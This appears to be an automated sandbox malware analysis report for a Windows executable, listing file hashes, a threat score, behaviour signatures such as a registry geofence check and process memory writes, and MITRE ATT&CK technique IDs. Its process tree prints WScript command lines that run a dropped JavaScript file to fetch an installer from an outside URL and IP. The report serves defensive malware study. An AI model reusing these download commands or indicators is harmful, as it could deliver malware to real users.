8a14106d89632fe3b77fd5d95725f524b8db56fc677f5de1a4b6ce9cedaa47eb

General

Target

309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe
Size

184KB
MD5

309e9081e3bda71196aec8f73ff9ef4a
SHA1

b3c14358c1a37a084931ab6b364ac5cb8a90988f
SHA256

8a14106d89632fe3b77fd5d95725f524b8db56fc677f5de1a4b6ce9cedaa47eb
SHA512

c93e8c75ac9202d92c6386e530272747ba5e82a1da8e55c306296d0b0908c1c27a54b03aa7be72518f5f4485c5eb35c99bb6cea642a26d4e87b691f067abfed5
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3a:/7BSH8zUB+nGESaaRvoB7FJNndn3

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
13	4372	WScript.exe
37	3596	WScript.exe
39	4144	WScript.exe
40	4144	WScript.exe
55	3312	WScript.exe
57	3748	WScript.exe
58	3748	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4716	540	WerFault.exe	82

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 540 wrote to memory of 4372	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	83
PID 540 wrote to memory of 4372	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	83
PID 540 wrote to memory of 4372	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	83
PID 540 wrote to memory of 3596	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	96
PID 540 wrote to memory of 3596	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	96
PID 540 wrote to memory of 3596	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	96
PID 540 wrote to memory of 4144	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	97
PID 540 wrote to memory of 4144	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	97
PID 540 wrote to memory of 4144	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	97
PID 540 wrote to memory of 3312	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	100
PID 540 wrote to memory of 3312	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	100
PID 540 wrote to memory of 3312	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	100
PID 540 wrote to memory of 3748	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	101
PID 540 wrote to memory of 3748	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	101
PID 540 wrote to memory of 3748	540	309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe	101

C:\Users\Admin\AppData\Local\Temp\309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\309e9081e3bda71196aec8f73ff9ef4a_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:540
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf320C.js" http://www.djapp.info/?domain=ZVSDTKCuWF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf320C.exe
  2⤵
  - Blocklisted process makes network request
  PID:4372
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf320C.js" http://www.djapp.info/?domain=ZVSDTKCuWF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf320C.exe
  2⤵
  - Blocklisted process makes network request
  PID:3596
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf320C.js" http://www.djapp.info/?domain=ZVSDTKCuWF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf320C.exe
  2⤵
  - Blocklisted process makes network request
  PID:4144
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf320C.js" http://www.djapp.info/?domain=ZVSDTKCuWF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf320C.exe
  2⤵
  - Blocklisted process makes network request
  PID:3312
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf320C.js" http://www.djapp.info/?domain=ZVSDTKCuWF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf320C.exe
  2⤵
  - Blocklisted process makes network request
  PID:3748
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 540 -s 1456
  2⤵
  - Program crash
  PID:4716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 540 -ip 540
1⤵
PID:4164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf320C.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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